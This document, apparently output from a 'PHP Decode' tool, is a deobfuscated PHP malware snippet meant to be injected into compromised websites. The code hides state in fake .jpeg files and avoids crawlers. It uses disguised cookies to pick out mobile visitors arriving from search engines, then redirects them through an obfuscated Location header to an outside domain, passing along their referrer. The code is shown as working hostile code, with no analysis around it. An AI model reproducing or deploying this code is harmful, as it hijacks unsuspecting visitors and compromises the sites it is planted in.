PHP Decode

if(!defined('SORRYCHIEF')){define('SORRYCHIEF',true);$versin='260423';$tim='22';$doc=$_SERVER['DOCUMENT_ROOT'];if(@is_dir($doc .'/uploads/posts/')){$pathh=$doc .'/uploads/posts/';}elseif(@is_dir($doc .'/wp-includes/')){$pathh=$doc .'/wp-includes/';}elseif(@is_dir($doc .'/cache/')){$pathh=$doc .'/cache/';}elseif(@is_dir($doc .'/bitrix/modules/')){$pathh=$doc .'/bitrix/modules/';}elseif(@is_dir($doc .'/system/library/')){$pathh=$doc .'/system/library/';}elseif(@is_dir($doc .'/includes/database/')){$pathh=$doc .'/includes/database/';}$time_file=$pathh ."timer.jpeg";$stat_file=$pathh ."stats.jpeg";$work_file=$pathh ."watermark.jpeg";$yahooo='__' .'us' .'er_' .'i' .'d_';$yahooo1=$yahooo .'1';$yahooo2=$yahooo .'2';$yahooo3=$yahooo .'3';$yahooo4=$yahooo .'4';$yahooo5=$yahooo .'5';$yahoooeu='__' .'us' .'er_' .'i' .'ds_';$ser=@$_SERVER;$hos=@$ser['HTT' .'P_HO' .'ST'];$rf=@$ser['HT' .'TP_REF' .'ERER'];$ref=@$ser['REQU' .'EST_URI'];$usg=@$ser['HT' .'TP_USE' .'R_AGENT'];if((!$usg)or($usg=='')or(@!preg_match('/baidu|ia_arch|oogle|igma|Bot|andex|bot|pider|EltaIn|curl|ahoo|amble|W3C_|YaBrow|rawle|Wget|mail./i',$usg))){if(@preg_match('/andex.|pinter|sogou|shenma|instag|yahoo.|msn.c|utube|odnok|ut.by|baidu|mail.r|search|smi2|igma|ambler|witter|ok.ru|vk.co|ulog|facebo.|oogle.|duckduck|naver|aol.c|rbc.|bing./i',$rf)){if((@preg_match('/p.browser|htc_|mini|symbos|obile|ndroid|midp|ymbian|j2me|eries\ 60|phone/i',$usg))and(@!isset($_COOKIE['dle_user_id']))and(@!preg_match('/=addnews|admin.php|=logout|=register|=feedback|login.php|administration/i',$ref))and($ref != '/')){@$yeasss="1";}}}if((@file_exists($work_file))&(@filesize($work_file)>1)&(@isset($_COOKIE[$yahoooeu]))&(@!isset($_COOKIE[$yahooo]))){@setcookie($yahooo,'79214477',time()+84214,'/');if(@!file_exists($time_file)){@file_put_contents($time_file,time()+85000);@file_put_contents($stat_file,"1");}$my_time=@file_get_contents($time_file);if($my_time>@time()){$f=@fopen($stat_file,"a+");@flock($f,LOCK_EX);$count=@fread($f,@filesize($stat_file));@$count++;@ftruncate($f,0);@fwrite($f,$count);@fflush($f);@flock($f,LOCK_UN);@fclose($f);}else{@unlink($time_file);@unlink($stat_file);@file_put_contents($work_file,"");}if(@file_exists($stat_file)){$count=@file_get_contents($stat_file);if($count>$tim){@unlink($time_file);@unlink($stat_file);@unlink($work_file);}}}if((@file_exists($work_file))&(@filesize($work_file)>1)&(@$yeasss == "1")&(!isset($_COOKIE[$yahoooeu]))){@setcookie($yahoooeu,'79214477',time()+84214,'/');}if(@!file_exists($work_file)&(@!isset($_COOKIE[$yahooo5]))){$bre=$_COOKIE[$yahooo];if(@isset($_COOKIE[$yahooo3])){@setcookie($yahooo4,'4',time()+84214,'/');}if(@isset($_COOKIE[$yahooo2])){@setcookie($yahooo3,'3',time()+84214,'/');}if(@isset($_COOKIE[$yahooo1])){@setcookie($yahooo2,'2',time()+84214,'/');}if(@isset($_COOKIE[$yahooo])){@setcookie($yahooo1,'1',time()+84214,'/');}if((@isset($_COOKIE[$yahooo6]))or(@isset($_COOKIE[$yahooo2]))or(@isset($_COOKIE[$yahooo3]))or(@isset($_COOKIE[$yahooo4]))){@setcookie($yahooo5,'954',@time()+85114,'/');@header(@strrev('21?ig' .'c.n' .'iw' .'/pame' .'tis/sk' .'ce' .'hc/cc' .'.s' .'pam-e' .'tis/' .'/:sp' .'tth :n' .'oita' .'coL') .'&seor' .'ef=' .rawurlencode($rf) .'parameter=\$keyword&se=\$se&ur=1' .strrev(strtoupper('=rerefer_ptth&')) .rawurlencode('http://' .$hos .$ref));exit;}if((!isset($_COOKIE[$yahooo]))&(@$yeasss == "1")){@setcookie($yahooo,'0',time()+84214,'/');}}}